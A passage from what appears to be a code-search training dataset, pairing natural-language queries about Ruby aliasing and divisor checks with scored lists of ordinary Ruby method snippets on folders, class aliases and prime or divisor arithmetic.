"def new_folder\n @folder = find_by_user_id_and_name(current_user.id,'my_deal_room')\n @portfolio = Portfolio.find(params[:pid])\n folder_name = find_folder_name(@folder.id,params[:folder_name])\n folder=Folder.create(:name=>folder_name,:parent_id=>@folder.id,:portfolio_id=>@portfolio.id,:user_id=>current_user.id,:real_estate_property_id=>@folder.real_estate_property_id)\n responds_to_parent do\n render :update do |page|\n page.hide 'modal_container'\n page.hide 'modal_overlay'\n page.call \"flash_writter\", \"Folder successfully created\"\n end\n end\n end",
"def redirect_folder(folder,dir)\n\n w=WinReg.new(@file)\n w.debug=@debug\n\n w.write_key(FOLDERS_BASE+'\\\\'+folder,dir)\n\n end",
"def move_folder(folder,orig,dest)\n \n puts \"Moving #{orig}/#{key[:dir]} -> #{dest}/#{key[:dir]}\" if @verbose\n FileUtils.mv \"#{orig}/#{key[:dir]}\", \"#{dest}/#{key[:dir]}\"\n\n end",
"def update(conn_id, path, *args)\n options = args.extract_options!\n options.assert_valid_keys(VALID_UPDATE_OPTIONS)\n \n timeout = resolve_timeout_option(options[:timeout], 20.seconds)\n path = resolve_folderpath_option(conn_id, path)\n new_path = resolve_folderpath_option(conn_id, options[:path])\n \n with_connection(conn_id, timeout) { |conn|\n conn.folder_update(path, new_path, options[:subscription], options[:recursive])\n }\n end",
"def move_folder_ind\n create_process(process: \"MOVE_FOLDER\")\n end",
"def upload_file_to_folder(folder_name)\n upload_files_to_folder(folder_name)\n end",
"def folder_path\n File.expand_path @folder_path\n end"
] | [
"0.7936145",
"0.7936145",
"0.7936145",
"0.7936145",
"0.7936145",
"0.7882552",
"0.7882552",
"0.7845979",
"0.7841283",
"0.7783845",
"0.7594988",
"0.75021034",
"0.7461284",
"0.73949677",
"0.7321952",
"0.73122156",
"0.72434145",
"0.719644",
"0.7118747",
"0.70864755",
"0.70601124",
"0.7031225",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70214504",
"0.70174986",
"0.6977664",
"0.6977664",
"0.6977664",
"0.6977664",
"0.6977664",
"0.697159",
"0.6959088",
"0.6954435",
"0.69463646",
"0.69371414",
"0.6925948",
"0.6925948",
"0.6925948",
"0.69202226",
"0.6919429",
"0.6887537",
"0.6856278",
"0.6820681",
"0.6805988",
"0.6805832",
"0.6802524",
"0.6802274",
"0.6771391",
"0.6760618",
"0.67485356",
"0.67485356",
"0.6742257",
"0.674111",
"0.6695421",
"0.6685511",
"0.66765684",
"0.6632774",
"0.6617709",
"0.65932447",
"0.65619177",
"0.6559119",
"0.6543869",
"0.6509299",
"0.6476783",
"0.6458899",
"0.6450026",
"0.6447925",
"0.6427428",
"0.64082766",
"0.64035636",
"0.63985896",
"0.6355039",
"0.63282037",
"0.6306659",
"0.63031656",
"0.6295539",
"0.6290131",
"0.6278757",
"0.6246951",
"0.62197024",
"0.62078834",
"0.62053543",
"0.6192221",
"0.6192221",
"0.61903423",
"0.6185911",
"0.61680245",
"0.6145728",
"0.6143536",
"0.6128171",
"0.6124444",
"0.6123811",
"0.6121612"
] | 0.0 | -1 |
By using undef and alias, the interface of the class can be modified independently from the superclass, but notice it may be broke programs by the internal method call to self. | def method
puts "inside method"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def alias_of; end",
"def superclass=(object); end",
"def superclass() end",
"def unrealize_self\n raise NotImplementedError\n end",
"def special\n override\n end",
"def with_class_alias(x); end",
"def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end",
"def alias_class_method(new_name, old_name)\n #klass = self.to_s\n metaclass.instance_eval do\n alias_method new_name, old_name\n end\n end",
"def abstract!; end",
"def super_decl; end",
"def super_class; end",
"def super_class; end",
"def super_method; end",
"def overrides; end",
"def method_missing(method, *args, &block)\n super unless original_self\n original_self.send method, *args, &block\n end",
"def metaalias(to, from)\n metaclass.instance_eval{alias_method to, from}\n end",
"def rdl_alias(new_name, old_name)\n klass = self.to_s\n klass = \"Object\" if (klass.is_a? Object) && (klass.to_s == \"main\")\n RDL.aliases[klass] = {} unless RDL.aliases[klass]\n if RDL.aliases[klass][new_name]\n raise RuntimeError,\n \"Tried to alias #{new_name}, already aliased to #{RDL.aliases[klass][new_name]}\"\n end\n RDL.aliases[klass][new_name] = old_name\n\n if self.method_defined? new_name\n RDL::Wrap.wrap(klass, new_name)\n else\n RDL.to_wrap << [klass, old_name]\n end\n nil\n end",
"def inherited(klass); end",
"def inherited(klass); end",
"def sup \n SuperProxy.new(self) \n end",
"def original; end",
"def internal; end",
"def unquiesce \n raise NotImplementedError.new\n end",
"def unmodify_nilclass; end",
"def abstract_class=(_arg0); end",
"def abstract_class=(_arg0); end",
"def proxy\n super\n end",
"def inherited(subclass); end",
"def private_instance_methods(include_super=true) end",
"def realize_self\n raise NotImplementedError\n end",
"def unoverride_class_method(klass, meth)\n saved_meth_name = get_saved_method_name(meth)\n\n eval \"method_kind = nil; class << #{klass}\n case\n when public_method_defined?(#{meth.to_sym.inspect})\n method_kind = :public\n when protected_method_defined?(original)\n method_kind = :protected\n when private_method_defined?(#{meth.to_sym.inspect})\n method_kind = :private\n end\n alias_method #{meth.to_sym.inspect}, #{saved_meth_name.to_sym.inspect}\n send(method_kind, #{meth.to_sym.inspect})\n end \"\n end",
"def original_method; end",
"def singleton_method_alias( newname, original )\n\t\t\tsingleton_class.__send__( :alias_method, newname, original )\n\t\tend",
"def public_instance_methods(include_super=true) end",
"def inherited(subclass)\n super\n subclass.instance_variable_set(:@_ext, @_ext.dup)\n end",
"def inherited(base); end",
"def hide!\n singleton_class.send(:define_method, :nodoc) { true }\n end",
"def virtual; end",
"def overrides=(_arg0); end",
"def hardcore_alias(klass, *args)\n \"__#{klass.name}#{args}\"\n end",
"def base; self; end",
"def orig_cls\n\t\treturn self.class.orig_cls\n\tend",
"def extended(*) end",
"def install_alias_method(to, from, override = NO_OVERRIDE)\n to = to.id2name unless to.kind_of?(String)\n from = from.id2name unless from.kind_of?(String)\n\n if override == OVERRIDE_ALL or\n (override == OVERRIDE_PRIVATE_ONLY) && !respond_to?(to) or\n (override == NO_OVERRIDE) && !respond_to?(to, true)\n target = self\n (class << self; self; end).instance_eval{\n if target.respond_to?(to, true) &&\n !target.respond_to?(EXCB.irb_original_method_name(to), true)\n alias_method(EXCB.irb_original_method_name(to), to)\n end\n alias_method to, from\n }\n else\n Kernel.print \"irb: warn: can't alias #{to} from #{from}.\\n\"\n end\n end",
"def tag; raise 'Override this method'; end",
"def alias_attribute(new_name, old_name)\n module_eval <<-STR, __FILE__, __LINE__ + 1\n def #{new_name}; self.#{old_name}; end # def subject; self.title; end\n def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end\n def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end\n STR\n end",
"def dup\n super().extend IndifferentAccess\n end",
"def undef_method (sym) end",
"def is_alias?; end",
"def __mock_class\n (class << self; self; end).superclass\n end",
"def protected_instance_methods(include_super=true) end",
"def alias_attribute(new_name, old_name)\n module_eval <<-STR, __FILE__, __LINE__+1\n def #{new_name}; self.#{old_name}; end # def subject; self.title; end\n def #{new_name}?; self.#{old_name}?; end # def subject?; self.title?; end\n def #{new_name}=(v); self.#{old_name} = v; end # def subject=(v); self.title = v; end\n STR\n end",
"def aliased_name; end",
"def method_missing(meth, *args, &block)\n if !(meth.to_s =~ /=/) and (suffixed_method = \"#{meth.to_s}__c\") and respond_to?(suffixed_method)\n send(suffixed_method)\n else\n super\n end\n end",
"def instance_methods(include_super=true) end",
"def method_missing(*)\n invertable nil\n end",
"def method_missing(sym, *args, &block)\n @original_self.send(sym, *args, &block)\n end",
"def alias_change(al)\n obj_change al, Alias\n end",
"def alias(name, visibility, original_name, original_exec, original_mod)\n Rubinius.primitive :methodtable_alias\n raise PrimitiveFailure, \"MethodTable#alias primitive failed\"\n end",
"def display_duck\n raise NotImplementedError, \"Define this in the subclass\"\n end",
"def inherited(klass)\n super\n klass.send :include, ::Henshin::Safety\n klass.instance_variable_set(:@unsafe_methods, @unsafe_methods)\n end",
"def method_undefined(*) end",
"def base_class; end",
"def restore \n raise NotImplementedError.new\n end",
"def -@\n +(self)\n end",
"def namespace_inheritance=(_arg0); end",
"def namespace_inheritance=(_arg0); end",
"def define_alias_methods(member_name, options); end",
"def use_superclass(klass)\n @use_superclass = klass\n end",
"def inherited_meths(opts = T.unsafe(nil)); end",
"def superclass\n\t\t\t\treturn Object\n\t\t\tend",
"def extended( hooked_instance )\n\n super if defined?( super )\n \n end",
"def alias_decls; end",
"def source(override); end",
"def name; super; end",
"def name; super; end",
"def non_aliases\n @non_aliases ||= classes_and_modules.reject { |cm| cm.is_alias_for }\n end",
"def add_alias_impl(an_alias, meth)\n new_meth = RDoc::AnyMethod.new an_alias.text, an_alias.new_name\n new_meth.is_alias_for = meth\n new_meth.singleton = meth.singleton\n new_meth.params = meth.params\n new_meth.comment = \"Alias for \\##{meth.name}\"\n meth.add_alias new_meth\n add_method new_meth\n end",
"def direct_superclass\n @superclass\n end",
"def direct_superclass\n @superclass\n end",
"def super_class\n return nil\n end",
"def public=(_arg0); end",
"def -@; end",
"def override_method(obj, method_name, &block)\n # Get the singleton class/eigenclass for 'obj'\n klass = class <<obj; self; end\n\n # Undefine the old method (using 'send' since 'undef_method' is protected)\n klass.send(:undef_method, method_name)\n\n # Create the new method\n klass.send(:define_method, method_name, block)\nend",
"def safe_alias_method(new_alias, method_name)\n target_class_eval do\n begin\n alias_method(new_alias, method_name)\n rescue NameError\n nil\n end\n end\n end",
"def attach_to(cls)\n @superclass = cls.direct_superclass\n cls.superclass = self\n end",
"def internal_methods; end",
"def switch(name,aliases,desc,long_desc,negatable)\n abstract!\n end",
"def adopt_dependencies\n super if defined? super\n end",
"def to_definition(*args)\n complete_overrides\n super\n end",
"def definition\n super\n end",
"def definition\n super\n end",
"def add_alias(var_name, class_obj, old_name, new_name, comment)\n al = RDoc::Alias.new '', old_name, new_name, ''\n al.singleton = @singleton_classes.key? var_name\n al.comment = comment\n al.record_location @top_level\n class_obj.add_alias al\n @stats.add_alias al\n al\n end",
"def superclass=(other)\n @superclass = other\n end",
"def superclass=(other)\n @superclass = other\n end",
"def wrapper; end",
"def inherited(klass)\n super\n klass.instance_variable_set(:@transforms, transforms.dup)\n klass.instance_variable_set(:@translations_hash, translations_hash.dup)\n end",
"def aliases; end",
"def aliases; end",
"def aliases; end",
"def class Motorbike < Vehicle\r\n def wheelie\r\n end\r\nend"
] | [
"0.71130055",
"0.6685166",
"0.660155",
"0.64426225",
"0.63666695",
"0.6349805",
"0.6330304",
"0.6330304",
"0.62714374",
"0.6243882",
"0.6225683",
"0.6225683",
"0.6165347",
"0.61608934",
"0.61264724",
"0.6019108",
"0.6000918",
"0.5988051",
"0.5988051",
"0.5960625",
"0.59404665",
"0.59315103",
"0.591445",
"0.5900032",
"0.5897357",
"0.5897357",
"0.5892223",
"0.588851",
"0.5881326",
"0.58716",
"0.58586794",
"0.58557415",
"0.58497524",
"0.5847641",
"0.58348036",
"0.5830907",
"0.58181477",
"0.57893544",
"0.57657397",
"0.5756752",
"0.5733491",
"0.56808215",
"0.567839",
"0.5676919",
"0.56727123",
"0.5671518",
"0.56690794",
"0.56662744",
"0.56616",
"0.56592864",
"0.56493825",
"0.5642428",
"0.5642342",
"0.5633134",
"0.5622495",
"0.56176245",
"0.56150156",
"0.56107837",
"0.56016856",
"0.55960786",
"0.55808896",
"0.55790377",
"0.55727",
"0.5571097",
"0.5565488",
"0.5558645",
"0.5558645",
"0.55552256",
"0.55381346",
"0.5535339",
"0.5526695",
"0.55213094",
"0.55182177",
"0.55153745",
"0.55112237",
"0.55112237",
"0.5485382",
"0.54795164",
"0.54740095",
"0.54740095",
"0.5473503",
"0.547164",
"0.5469426",
"0.5468244",
"0.5452626",
"0.54508847",
"0.5449531",
"0.54492533",
"0.54479414",
"0.54278535",
"0.5427053",
"0.5427053",
"0.5418884",
"0.5417379",
"0.5417379",
"0.5409412",
"0.54029965",
"0.53999144",
"0.53999144",
"0.53999144",
"0.5391996"
] | 0.0 | -1 |
only have to check divisors up to sqrt(num) | def is_prime?(num)
Math.sqrt(num).floor.downto(2).each do |i|
false if num % i == 0
end
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def divisors(num)\n\tcount = 0\n\tfor i in 1..Math.sqrt(num)\n\t\tif num % i == 0\n\t\t\tcount += 2\n\t\tend\n\tend\n\treturn count\nend",
"def find_proper_divisors_sum(num)\n\tsum = 0\n\tsqrt = Math.sqrt(num)\n\n\t# add all divisors into sum\n\t(1..sqrt).each do |n|\n\t\t# if num is a proper divisor\n\t\tif num % n == 0\n\t\t\t# add it--and its pair (other than 1 and sqrt)--into sum\n\t\t\tif [1,sqrt].include?(n)\n\t\t\t\tsum += n\n\t\t\telse\n\t\t\t\tsum += (n + (num / n))\n\t\t\tend\n\t\tend\n\tend\n\n\tsum\nend",
"def count_divisors(num)\n count = 0\n top = Math.sqrt(num)\n (1..top).each { |n| count += 2 if num % n == 0 }\n count -= 1 if is_square?(num)\n count\n end",
"def divisors(num)\n arr = [1, num]\n (2..Integer.sqrt(num)).each do |n|\n quot, rem = num.divmod(n)\n arr << [n, quot] if rem.zero?\n end\n arr.uniq.flatten.sort\nend",
"def is_perfect?(num)\n divisors = []\n (1..(num/2)).each do |div|\n if num % div == 0\n divisors.push(div)\n end\n end\n divisor_total = divisors.reduce(:+)\n if divisor_total == num\n 0\n elsif divisor_total < num\n -1\n elsif divisor_total > num\n 1\n end\nend",
"def divisors(number)\n sqrt = Math.sqrt(number).floor\n (1..sqrt).each_with_object([]) do |n, div|\n if number % n == 0\n div << n\n div << number / n\n end\n end.uniq.sort\nend",
"def divisors(num)\n (1...num).select{|n| num % n ==0}.reduce(:+)\nend",
"def check_perfect(num)\n multiples_sum = 0\n\n (1..num / 2).each do |i|\n multiples_sum += i if (num % i).zero?\n break false if multiples_sum > num # for performance issues\n end\n\n multiples_sum == num\nend",
"def isDivisibileByAll?(num)\n\t(11..20).each { |i| return false if num % i != 0 }\n\treturn true\nend",
"def get_number_of_divisors(number)\n\t\tdivisors = 2 # 1 and number\n\t\tif (number == 1)\n\t\t\tdivisors = 1\n\t\telsif (number == 2)\n\t\t\tdivisors = 2\n\t\telse\t\t\n\t\t\tfor i in 2..Math.sqrt(number)\n\t\t\t\tif (number%i == 0)\n\t\t\t\t\tdivisors += 2\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tp \"number: #{number}, divisors: #{divisors}\"\n\t\tif (Math.sqrt(number)*Math.sqrt(number) == number)\n\t\t\tdivisors -= 1\n\t\tend\t\n\t\t@divisors = divisors\n\tend",
"def divisors(number)\n (1..number).select do |candidate|\n number % candidate == 0\n end\nend",
"def factors(num)\n (1..Math::sqrt(num)).each do |x|\n if num % x == 0\n puts x\n puts num/x\n end\n end\n nil\nend",
"def proper_divisors n\n if (n < 2)\n return []\n end\n\n r = Math.sqrt(n)\n p = (r - 1).ceil\n d = (2..p).collect { |x| [x, n/x] if n % x == 0 }.compact.flatten\n if (r == r.floor)\n d.concat([r.floor])\n end\n return d.concat([1])\nend",
"def divisors(number)\n (1..number).select { |n| number % n == 0 }\nend",
"def divisors(num)\n divisors_results = [] \n 2.upto(num - 1) do |n|\n divisors_results << n if num % n == 0\n end\n return \"#{num} is prime\" if divisors_results.empty?\n divisors_results\nend",
"def is_divisble (num)\n array = []\n i = 1\n while i <= 10\n array << i\n i += 1\n end\n if array.all? { |x| num % x == 0}\n puts \"this number qualifies.\"\n else\n puts \"this number does not qualify\"\n end\nend",
"def divisors(n)\n results = []\n max = Math.sqrt(n).floor\n (1..(max)).each do |div|\n # next if results.include?(div)\n x, y = n.divmod(div)\n results << x << div if y == 0\n end\n results.uniq.sort\nend",
"def is_prime? number\n root_floor = (number ** 0.5).floor\n\n # Only check if there are divisors up to the square root. If there are any\n # divisors greater than the square root, there must be divisors less than the\n # square root\n divisors_up_to_square_root = nontrivial_divisors_of(number, {upper_limit: root_floor})\n divisors_up_to_square_root.empty?\nend",
"def is_prime(num)\n # every number greater than root is checked with lower numbers\n root = Math.sqrt(num)\n i = 2\n while i <= root\n if(num % i == 0)\n return false\n end\n i += 1\n end\n return true\nend",
"def is_divisor?(number, i) \n number % i == 0\nend",
"def prime?(num)\n return true if num == 1 || num == 2\n return false if num % 2 == 0\n\n divisor = 3\n while divisor <= num**0.5\n return false if num % divisor == 0\n divisor += 2\n end\n true\nend",
"def divisible_by number, divisor\n number % divisor == 0\n end",
"def anti_prime?(num)\n num_divisors = divisors(num).length\n\n (1..num).each do |div|\n return false if divisors(div).length > num_divisors\n end\n \n return true\nend",
"def divisors(n)\nif (2..Math.sqrt(n)).none? {|f| n % f == 0}\n\"#{n} is prime\"\nelse\narray = (1..n).select { |x|n % x == 0}\narray - [n] - [1]\nend\nend",
"def five_hundred_divisors?(num)\n divisors = []\n for i in 1..num\n divisors << i if num % i == 0\n end\n return false if divisors.uniq.size <= 500\n return true\nend",
"def divisors(num)\n results = []\n \n 1.upto(num) do |current_num|\n results << current_num if num % current_num == 0\n end\n \n results\nend",
"def numbers_of_multiple (number)\n divisors = []\n (1..20).each do |divisor|\n if number % divisor ==0\n divisors.push divisor\n end\n end\n #if divisors.length == 20\n # return true\n #else\n # puts divisors.length\n # return false\n #end\n return divisors.length\nend",
"def divisible min, max, num \n for i in min..max\n if num % i != 0\n return false \n end\n end\n return true\nend",
"def divisors(num)\n divisors = []\n (1..num).each do |div|\n divisors << div if (num % div).zero?\n end\n return divisors\nend",
"def first_triangle_number_with_divisors_of(num)\n\tcount = 0\n\ti = 0\n\tsum = 0\n\tuntil count >= num do\n\t\ti += 1\n\t\tsum += i\n\t\tcount = divisor_number_of(sum)\n\tend\n\tsum\nend",
"def is_prime?(number)\n \n if number == 2 then return true end\n if number%2 == 0 then return false end\n if number == 3 then return true end\n if number%3 == 0 then return false end\n \n square_root= Math.sqrt(number).to_i # .to_i is not necessary, but it doesn't hurt (9<9.5 is true)\n \n divisor= 5\n while divisor <= square_root\n \n if number%divisor == 0 then return false end\n \n divisor+= 2\n if number%divisor == 0 then return false end\n \n divisor+= 4\n end\n # note the sequence of divisors, 5,7,11,13,17,19,23,25,29,31... <- these are the set of numbers not divisible by either 2 or 3 or both\n \n return true\nend",
"def is_prime?(num)\n return true if num == 1 || num == 2\n return false if num % 2 == 0\n int = 3\n while int <= Math::sqrt(num)\n return false if num % int == 0\n int += 2\n end\n true\nend",
"def divisors(int)\n (1..int).select do |possible_divisor| \n int % possible_divisor == 0\n end\nend",
"def problem_3(num)\n # create prime factors from a minimum of the square root of num\n # to a max of num/2 (because that's the largest potential prime),\n # and then iterate through that collection of primes from largest end.\n\n # starting_num = sqrt(num).to_i\n # ending_num = num/2\nend",
"def checkPrime(num)\n prime = true\n x = 2\n squareroot = Math.sqrt(num)\n while (x <= squareroot)\n if num % x == 0\n prime = false\n break\n end\n x += 1\n end\n\n prime\nend",
"def proper_divs(num)\n puts num\n divs = []\n (1...num).each do |x|\n divs << x if num%x == 0\n end\n return divs\nend",
"def factors(num)\r\n factors = []\r\n sqrt = Math.sqrt(num)\r\n until num == 1\r\n\r\n factor_founded = false\r\n (2..sqrt).each do |i|\r\n if (num % i).zero?\r\n num /= i\r\n factors << i\r\n factor_founded = true\r\n break\r\n end\r\n end\r\n unless factor_founded\r\n factors << num\r\n num /= num\r\n end\r\n end\r\n return factors\r\nend",
"def is_prime?(number)\n return false if number < 2\n\n #Start at 2, since anything lower isn't prime\n idx = 2\n\n #Anything above has a conjugatae divisor less than sqrt number.\n while idx < number**0.5\n\n if number%idx==0\n return false\n end\n\n #After 2, only check odd numbers for primeness\n if idx%2==0\n idx += 1\n else\n idx += 2\n end\n end\n\n return true\nend",
"def anti_prime?(num)\n divisor_count = num_factors(num)\n\n (1...num).each do |n|\n return false if num_factors(n) > divisor_count\n end\n return true\nend",
"def sqrt_convergents()\r\n\tthe_div = [1, 2]\t\t# Numerator and Denominator\r\n\titerations = 1000\r\n\treturner = 0\r\n\r\n\twhile iterations > 0\r\n\t\t# Every next fraction has previouse one in the denominator.\r\n\t\tthe_div = [the_div[1], 2*the_div[1] + the_div[0]]\t\t# Simplify the fraction.\r\n\t\tto_test = the_div[0] + the_div[1]\t\t\t\t\t\t# 1 + fraction\r\n\t\treturner += 1 if to_test.to_s.size > the_div[1].to_s.size\r\n\t\titerations -= 1\r\n\tend\r\n\treturn returner\r\nend",
"def prime?(num)\n return false if num == 1\n return true if num == 2 or num == 3 or num == 5 or num == 7\n return false if num % 2 == 0 or num % 3 == 0 or num % 5 == 0 or num % 7 == 0\n (11..Math.sqrt(num).ceil).each do |i| \n return false if num % i == 0\n end\n true \nend",
"def prime?(num)\n return false if num < 2\n\n return true if num <= 3\n\n return false if (num % 2).zero? || (num % 3).zero?\n\n i = 5\n while i < Math.sqrt(num)\n return false if (num % i).zero?\n\n i += 1\n end\n true\nend",
"def prime?(number, divisor = 1) #shortening the possible checks for if it's prime, optionally\n if (number < 2)\n return false\n elsif (number == 3)\n return true\n elsif ((number % 2) == 0) #evens are divisible by 2 and are therefore not prime.\n return false\n else\n b = 4.0\n c = 3.0\n temp_ans = 4.0\n while (c > 0.0001) #calculuating the square root down to 0.0001 accuracy\n b = number / temp_ans\n temp_ans = ((b + temp_ans) / 2)\n c = b - temp_ans\n if (c < 0)\n c = c * -1\n end\n end\n while (divisor <= temp_ans ) #running until it's less than or equal to roughly the square root of the number\n divisor += 2\n if ((number % divisor) == 0) #All primes are odd beyond 2.\n return false\n end\n end\n end\n return true\nend",
"def find_min_num(num)\n return 1 if num == 1\n n = 2\n minimum_num = nil\n loop do\n minimum_num = n if divisors(n).flatten.uniq.size == num\n n += 1\n break if minimum_num\n end\n minimum_num\nend",
"def problem3(num)\n prime = num\n while num%2==0 do num/=2 end\n (3..Math.sqrt(num).to_i).step(2).each { |pf|\n break if num < pf\n while num%pf==0 do\n num/=pf\n prime = pf\n end\n }\n prime\nend",
"def factors(noriginal) # gives n's proper divisors\n factors = [1] # 1 is always a factor. Exclude n to get \"proper divisors\"\n f = 2\n\n begin\n n = noriginal\n\n while f * f <= n # Only check up to sqrt(n)\n if n % f == 0\n factors << f << n / f \n n /= f\n else\n\n f += 1\n if noriginal % f == 0 # catches divisors you missed with n < noriginal\n factors << f << noriginal / f\n end\n end\n end \n\n f += 1\n end until f * f > noriginal # Overall, only check up to sqrt(noriginal)\n\n factors.uniq.sort # sort and remove duplicates\nend",
"def is_perfect_square(num)\n return true if num < 2\n\n x = num / 2\n x = (x + num / x) / 2 while x * x > num\n\n x * x == num\nend",
"def divisible_by(numbers, divisor)\n numbers.find_all { |i| (i % divisor).zero? }\nend",
"def prime?(num)\n return false if num == 1\n\n return true if num < 4\n\n i = 1\n while i <= Math.sqrt(num)\n i += 1\n next if even_above_two(i)\n\n return false if num % i == 0\n end\n\n true\nend",
"def divisibleBy1to20?(number)\n\n #Gets rid of the duplicative factors \n divisors = [11,13,14,16,17,18,19,20]\n\n divisors.each do |n|\n \treturn false if number % n != 0\n end\n\n true\nend",
"def divisors(num)\n divisors = Array.new\n counter = 1\n while counter <= num\n divisors << counter if num % counter == 0\n counter += 1\n end\n divisors\nend",
"def is_prime?(num)\r\n (2..(num ** 0.5).to_i).each {|factor| return false if num % factor == 0 && num != factor} # no need to check above square root\r\n true\r\nend",
"def evaluate_divisors(triangle_number)\n i = 1 \n divisors = [] \n # Make use of the pairs that multiplied together equal the triangle number. \n # Take 100. 1x100, 2x50, 4X25, 5x20, 10x10\n # This way, only have to iterate up to the square root of triangle number. \n until i > Math.sqrt(triangle_number)\n if triangle_number % i == 0 \n divisors << i\n temp = triangle_number / i \n # Prevent dups. Example 10x10 = 100.\n unless temp == i \n divisors << temp\n end \n end\n i += 1\n end \n \n if divisors.count > 500\n puts \"#{triangle_number} is the first triangle number with more than 500 divisors.\"\n puts \"Divisors count: #{divisors.count}\"\n @solved = true \n end \n \nend",
"def is_perfect_sequare(num)\n Math.sqrt(num).divmod(1)[1] == 0\nend",
"def prime?(num)\n i = 2\n if num == 1\n return false\n end\n while i < num**0.5\n if num % i == 0\n return false\n end\n i += 1\n end\n return true\nend",
"def divisable_by_given?(number, given)\n number % given == 0\n end",
"def isPrime(num)\n return false if num < 2\n\n sqrt_num = Math.sqrt(num).floor\n 2.upto(sqrt_num){|i|\n if num % i == 0\n return false # 割り切れたら素数でない\n end\n }\n return true\nend",
"def check_prime? num\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend",
"def isPrime(num)\n\tif num % 2 == 0\n\t\treturn false\n\tend\n\tmax = Math.sqrt(num)\n\tfor i in 3..max \n\t\tif num % i == 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend",
"def is_prime(num)\n (2..Math.sqrt(num).floor).each do |i|\n if num % i == 0\n return false\n end\n end\n return true\nend",
"def divisors(num)\n count = []\n factors = Prime.prime_division(num)\n #prime_division returns nested array of [[prime, #of times],[prime, #oftimes]]\n #just want the second value of each subarray\n factors.flatten.each_with_index do |value, i|\n if i%2 != 0\n count << value\n end\n end\n #add one to each and multiply \n num_of_divisors = count.collect{|m| m+1}.inject(:*)\n end",
"def prime_alt_1(number)\n return false if number <=1\n max_div = Math.sqrt(number)\n (2..max_div ).each do |x|\n if (number % x)== 0\n return false\n end\n end\n return true\nend",
"def isPrime?(num)\n if ((num == 2) || (num == 5))\n return true\n end\n if (num % 2) == 0\n return false\n end\n if (num % 5) == 0\n return false\n end\n x = Math.sqrt(num)+1\n for i in 2...x\n if((num % i) == 0)\n return false\n end\n end\nend",
"def divisors(number)\n divs = []\n min = 1\n max = number\n while( min <= max )\n if ((number % min) == 0)\n divs << min\n divs << max unless max == min || max == number\n end\n min += 1\n end\n return divs.uniq\nend",
"def can_divide_by?(num)\n\treturn false if number.zero?\n\ttrue\nend",
"def prime?(num)\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\n end",
"def divisors(n)\n (1.upto(n ** 0.5).select { |d| (n % d).zero? }.size * 2) - 1\nend",
"def count_divisors(num)\n\n (1..num).count {|n| num % n == 0}\n\nend",
"def proper_divisors(n)\r\n divisors = Array.new\r\n 1.upto(Math.sqrt(n)) do |x|\r\n if n % x == 0\r\n divisors << x\r\n if x != n / x && x != 1\r\n divisors << n / x\r\n end\r\n end\r\n end\r\n divisors\r\n end",
"def factor(num)\n (1..num).select { |f| (num % f).zero? }\nend",
"def factors(number)\n divisors = []\n # 1 is always a divisor\n divisors << 1\n if number > 1\n # target number is also always a divisor\n divisors << number\n # start looking for other divisors from 2 on up.\n i = 2\n while (i <= Math.sqrt(number).to_i)\n # if number is evenly divisible by i, then retain i, and possibly also\n # the division of number/i.\n if (number % i == 0)\n divisors << i\n divisors << number/i if (i != number/i)\n end\n i += 1\n end\n divisors.sort!\n end\n divisors\nend",
"def number_of_divisors\n (1..Math.sqrt(self)).inject(0) {|sum, i| modulo(i) == 0 ? sum + 2 : sum}\n end",
"def anti_prime?(number)\n divisor_count = divisors(number)\n (2..number).each do |num| \n return false if divisors(num) > divisor_count \n end \n true\nend",
"def Division(num1,num2)\n factors = []\n (1..10**3).each {|idx| factors << idx if (num1 % idx == 0 && num2 % idx == 0)}\n factors.max\nend",
"def is_prime(num)\n i = 2\n return false if num < 2\n while i <= Integer.sqrt(num) \n return false if num % i == 0\n i += 1\n end\n return true\nend",
"def is_prime?\n return false if num <= 1\n Math.sqrt(num).to_i.downto(2).each {|i| return false if num % i == 0}\n true\nend",
"def anti_prime?(num)\n (1...num).none? { |before| factors(before).length > factors(num).length}\nend",
"def num_prime?(num)\n j = Math.sqrt(num).floor\n is_prime = true\n (2..j).each do |i|\n is_prime = false if num % i == 0\n end\n is_prime\nend",
"def divisors(n)\n return (1..n/2).select { |i| (n % i) == 0 }\nend",
"def is_perfect_square?(num)\n return false if num < 1\n Math.sqrt(num) % 1 === 0\nend",
"def prime_check(num)\n h = 2\n while Math.sqrt(num) >= h\n if num % h == 0 && num != 2\n puts \"#{num} is not prime.\"\n break\n else h = h + 1\n end\n end\n if Math.sqrt(num) < h && num >= 2\n puts \"#{num} is prime.\"\n end\nend",
"def fully_divisible?(num)\n return false if num % 2 != 0\n\n success = true\n 3.upto(20).each do |i|\n if num % i != 0\n success = false\n break\n end\n end\n success\nend",
"def prime?(num)\n if 0 == num or 1 == num\n return false\n else\n return (2..Math.sqrt(num)).all? { |x| num % x != 0}\n end\nend",
"def nontrivial_divisors_of number, options={}\n default_options = {upper_limit: number - 1}\n # Merge in default options because default options in the argument list will\n # be ignored/missed if a partial option hash is passed in\n options = default_options.merge options\n\n upper_limit = options[:upper_limit]\n\n divisors = []\n (2..upper_limit).each do |val|\n if number % val == 0\n divisors.push val\n end\n end\n divisors\nend",
"def factor_primes(num)\n\n return \"Not a valid number\" if num < 2\n\n for divisor in 2..(num - 1)\n while num % divisor == 0 \n (divisor * divisor > num) ? (return num) : (num /= divisor)\n # puts \"The divisor is #{divisor}\"\n # puts \"The new num is #{num}\"\n end\n end\n puts \"only divisible by 1 and itself\"\nend",
"def is_divisible?(num)\n\tfor i in 11...20\n\t\tif num % i != 0\n\t\t\treturn false\n\t\tend\n\tend\n\treturn true\nend",
